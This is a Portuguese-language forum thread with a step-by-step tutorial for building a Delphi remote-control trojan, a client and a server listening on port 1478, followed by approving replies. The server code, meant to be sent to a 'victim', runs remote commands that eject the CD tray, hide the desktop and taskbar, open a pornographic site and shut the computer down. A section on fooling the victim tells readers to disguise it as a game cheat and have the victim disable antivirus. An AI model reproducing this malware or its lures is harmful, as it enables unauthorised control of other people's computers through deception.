Tutorial Criando Trojan com varias Funções

[L3ND4URB4N4']

Abra o Delphi e inicie um novo projeto:

Agora nós teremos que adicionar uma coisinha ao Delphi
(ServerSocket , ClientSocket)

Para adicionar esse 2 você vai ter que ir em Component e clicar em Install Packages


Depois Clique em add


Depois procure a pasta do seu Delphi é mais facil você clicar em "Um nivel acima" Depois que clicar la abra a pasta "bin" que aparecera ao lado


Depois que abrir a pasta clique em "dclsockets70" e abre ele




Ok agora ja esta tudo Pronto!

Na abra Standard adicione

- 1 Edit = Apague o que esta escrito nele
- 1 Label = Apague o que esta escrito nele
- 2 Buttons = Conectar, Desconectar

E na aba Internet Adicione um Client Socket!

Clique no Client Socker E vamos configurar ele

Clique uma vez no ClientSocket

Em object Inspector Tem "Port" Mude a port para 1478

Depois clique em "Events" e em

OnConect Coloque isso


Label1.caption:='Conectado';

Em OnConecting Coloque isso

label1.caption:='Conctando...';

Em OnDisconect coloque isso


Label1.Caption:='Desconectado!';

Em OnError coloque isso

label1.Caption:='Erro!! Tente novamente';


Pronto agora vamos mecher nos Buttons

Clique 2 Veses no botao "Conectar" e coloque isso

ClientSocket1.Address:=edit1.text;
ClientSocket1.Active:=true;

Agora Clique 2 Veses no botão "Desconectar e coloque isso

ClientSocket1.Active:= false;

Agora adicione 10 Botões e renomeie um para

Abrir CD
Fechar CD
Esconder icones da area de trabalho
Mostrar icones da area de trabalho
Esconder Iniciar
Mostrar iniciar
Esconder barrra de tarefas
Mostrar barra de tarefas
Abrir Firefox com o site do Tube8
Desligar o pc


Clique duas veses no Abrir CD e coloque isso


ClientSocket1.Socket.SendText('abrecd') ;

Clique Duas veses no Fechar cd e coloque isso


ClientSocket1.Socket.SendText('fecharcd') ;

Clique duas veses no Esconder icones da area de trabalho e coloque isso


ClientSocket1.Socket.SendText('escondericones') ;

Clique duas veses no Mostrar icones da area de trabalho e coloque isso


ClientSocket1.Socket.SendText('mostraricones') ;

Clique duas veses no Esconder Iniciar e coloque isso


ClientSocket1.Socket.SendText('esconderiniciar') ;
Clique duas veses no Mostrar Iniciar e coloque isso



ClientSocket1.Socket.SendText('mostrariniciar') ;
Clique duas veses no Esconder barrra de tarefas e coloque isso

Citação:
ClientSocket1.Socket.SendText('esconderbarra') ;
Clique duas veses no Mostrar barra de tarefas e coloque isso

Citação:
ClientSocket1.Socket.SendText('mostrarbarra') ;
Clique duas veses no "Abrir firefox no site do Tube8" e coloque isso

Citação:
ClientSocket1.Socket.SendText('sitetube8') ;
Clique duas veses no "Desligar pc" e coloque isso

Citação:
ClientSocket1.Socket.SendText('desligarpc') ;

Pronto Programa feito!! agora clique em

File, Save All

Crie uma pasta no seu desktop chamada Trojan depois entre nessa pasta e crie otra chamada Cliente e salve la. Depois de salvar aperte F9 e depois pode fechar tudo.

Print do meu trojan



Etapa 2

Abra denovo o Delphi e inicie um Projeto

Citação:
Esse Programa que nos faremos agora servira para você mandar para a vitima
Depois de iniciar um Projeto va na aba "internet" e coloque um ServerSocket

La do lado em Port Coloque 1478
e active se muda pra True

Clique na aba "Event".

De duplo click no OnClientRead

De baixo do begin coloque isso
Citação:
if Socket.ReceiveText='abrecd' then begin
MciSendString('Set CdAudio Door Open',nil,0,Handle) ;
end;
if Socket.ReceiveText='fecharcd' then begin
MciSendString('Set CdAudio Door Closed',nil,0,Handle);
end;
if Socket.ReceiveText='escondericones' then begin
ShowWindow(FindWindow('progman',nil),0);
end;
if Socket.ReceiveText='mostraricones' then begin
ShowWindow(FindWindow('progman',nil),1);
end;
if Socket.ReceiveText='esconderiniciar' then begin
ShowWindow(FindWindowEx (FindWindow('shell_traywnd', nil),0,'Button',nil),0);
end;
if Socket.ReceiveText='mostrariniciar' then begin
ShowWindow(FindWindowEx (FindWindow('shell_traywnd', nil),0,'Button',nil),1);
end;
if Socket.ReceiveText='esconderbarra' then begin
ShowWindow(FindWindow('shell_traywnd',nil),0);
end;
if Socket.ReceiveText='mostrarbarra' then begin
ShowWindow(FindWindow('shell_traywnd',nil),1);
end;
if Socket.ReceiveText='sitetube8' then begin
WinExec('c:/arquivos de programas/mozilla firefox/firefox.exe http//www.tube8.comF', SW_SHOW);
end;
if Socket.ReceiveText='desligarpc' then begin
WinExec('cmd /C shutdown -s -t 03', SW_SHOW);
end;
Depois suba la em cima nos uses e adicione MMSystem
ficando assim

Citação:
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, ScktComp, MMSystem;



Agora salve tudo na pasta Vitima que eu mandei criar e aperte F9 para compilar!!

Enganando a vitima!!!

Chega pra vitima e fale

- Ou se vil o Novo hack que lanço ???
ele serve para GB Para Grand Chase Pra Combat Arms pra Panguia pra Ragnarok e para um monte de jogos!!!!!!

Mais tem um problema o antivirus detecta como um virus mais é inofencivo!!
(e fala pra ele desativa o ant virus)

Citação:
ai dps o cara consertesa vai aceita e vc manda o download
Manda ele abri o programa e va no seu Programa o primeiro que criamos e clique em conect ai é so zua ele xD

OBS : No edit que você criou é so colocar o numero da port que o seu no caso é 1478

[RafaelVenancio]

Legal teu tutorial!
Bem organizado!

Bons estudos ae!

Abraço!

[M1K3]

bom o tuto...mais esse tipo de trojan eh akele q o server fica separado neh...
queria saber se algum sabe um tutorial para fazer um criador de server...para implementar no trojan

[The Kill3r]

Masssa
Vlww

The Kill3r<<

[inocente]

Muiiito bom ira me ajudar muito esse tutorial

[warLock2011]

ALguem sabe aquela função de enviar messa e o serve receber um mensagem box com meu parametros escolhidos pelo cliente igual a do prorat